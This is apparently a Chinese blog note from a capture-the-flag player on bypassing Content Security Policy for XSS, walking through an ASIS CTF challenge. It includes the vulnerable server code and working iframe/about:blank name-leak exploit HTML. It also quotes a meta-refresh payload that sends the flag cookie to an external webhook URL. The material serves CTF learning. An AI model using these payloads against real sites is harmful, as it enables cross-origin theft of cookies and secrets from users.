一些关于CSP的笔记 在接触xss题中逃不开bypassCSP的知识,但是一直没有做一个自己的笔记,因此这里来记录一下碰到的姿势:
iframe 原文章:Link
事情还得从去年的一道ASIS的web签到题讲起:
代码很短,逻辑也很简单,就是设置一个CSP,内容只有default-src: 'none'
,即默认不允许加载任何资源除非有明确指定资源来源,但是显然这里script-src也被替换为空了,所以乍一看似乎基本上是完全没法执行js脚本的,然后主要的可控点是letter的部分,然后会把letter中的$gift$
替换为flag(如果是admin的话对应的就是真的flag了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #!/usr/bin/env node const express = require ('express' )const cookieParser = require ('cookie-parser' )const app = express () app.use (cookieParser ()) app.use ((req,res,next )=> { res.header ( 'Content-Security-Policy' , [`default-src 'none';` , ...[(req.headers ['sec-required-csp' ] ?? '' ).replaceAll ('script-src' ,'' )]] ) if (req.headers ['referer' ]) return res.type ('text/plain' ).send ('You have a typo in your http request' ) next () }) app.get ('/' ,(req,res )=> { let gift = req.cookies .gift ?? 'ASIS{test-flag}' let letter = (req.query .letter ?? `You were a good kid in 2023 so here's a gift for ya: $gift$` ).toString () res.send (`<pre>${letter.replace('$gift$' ,gift)} </pre>` ) }) app.listen (8000 )
思路非常的简单,但是最大的问题就是这里的CSP,相当的严格。。
现在看看上面的文章:
我自己做测试的时候简单写了个页面,CSP设置为default-src 'self'
,我想获取到secret,给了个用户可控的点。第一想法必然是通过xss来获取到secret,但是这里CSP的设置极为严格:
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; "> <title>CSP Example</title> </head> <body> <?php echo $_GET['a'];?> <p>secret: <?php echo md5(rand()); ?></p> </body> </html>
在另一个不同源的主机(称之为攻击机),我们先用一个iframe标签,引用CSP页面,然后再在CSP页面利用参数a插入一个<iframe>
标签,并且分别给里外标签的id设为x和y,name设为1和2,
1 <iframe name ='1' id ='x' src ='http://192.168.64.1:811/?a=<iframe id="y" name="2"></iframe>' onload =cspBypass(this.contentWindow) > </iframe >
这时候我访问攻击机,如果在希望获取到内层iframe的name,受到的限制并非来源于CSP,而是CORS,他们并非属于同源的主机,因此无法跨站获取到数据
我稍微给外层iframe添加一个onload事件,预期获得到一个object:
1 <iframe name ='2' id ='x' src ='http://192.168.64.1:811/?a=<iframe id="y" name="1"></iframe>' onload =alert(this.contentWindow) > </iframe >
但是实际上并没有如预期的结果一般,在控制台中我们可以看到这样一句话,发现实际上是受限于同源策略:
在下面这样一个简单的测试代码中,可以发现下标为0的窗口实际上是内层被嵌套的窗口
1 <iframe name ='2' id ='x' srcdoc ='<iframe id="y" name="1"></iframe>' onload =alert(this.contentWindow[0].name) > </iframe >
上面的文章提供了一种很是神奇的特性,当把内层iframe的location属性设置为about:blank
的时候,既不会受CSP影响,也不会受到CORS的影响,最为重要的是,此时内外层的iframe窗口变成了“同源 ”的了,而name可以被泄露出来进而被实际上非同源的攻击机接收到,而name处虽无法执行js代码,但是可以和CSP页面的代码产生拼接闭合操作,进而泄露出数据
(不知道为什么不可以直接执行alert,必须要经过setTimeout或者setInterval等回调)
1 2 3 4 5 6 7 <script > function cspBypass (win ) { win[0 ].location = 'about:blank' ; setTimeout (()=> alert (win[0 ].name ), 500 ); } </script > <iframe name ='2' id ='x' src ='http://192.168.64.1:811/?a=<iframe id="y" name="1"></iframe>' onload =cspBypass(this.contentWindow) > </iframe >
回到ASIS的这道题上,我们让name=$gift$,即可泄露出cookie,由于要求来源不能有referer,可以通过iframe的referrerpolicy属性来设置不发送referer,
1 2 3 4 5 6 7 <script > function cspBypass (win ) { win[0 ].location = 'about:blank' ; setTimeout (()=> alert (win[0 ].name ), 500 ); } </script > <iframe name ='2' referrerpolicy ="no-referrer" id ='x' src ='http://192.168.64.1:8000/?letter=<iframe id="y" name=$gift$></iframe>' onload =cspBypass(this.contentWindow) > </iframe >
后来看别人的题解其实用meta也行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <body > <script > const HOOK_URL = "https://webhook.site/xxx" ;const main = async ( ) => { const elm = document .createElement ("iframe" ); elm.src = "https://gimmecsp.asisctf.com?letter=" + encodeURIComponent ( `<meta http-equiv="Refresh" content="0; URL=${HOOK_URL} /?q=$gift$">` ); elm.referrerPolicy = "no-referrer" ; document .body .appendChild (elm); }; main ();</script > </body >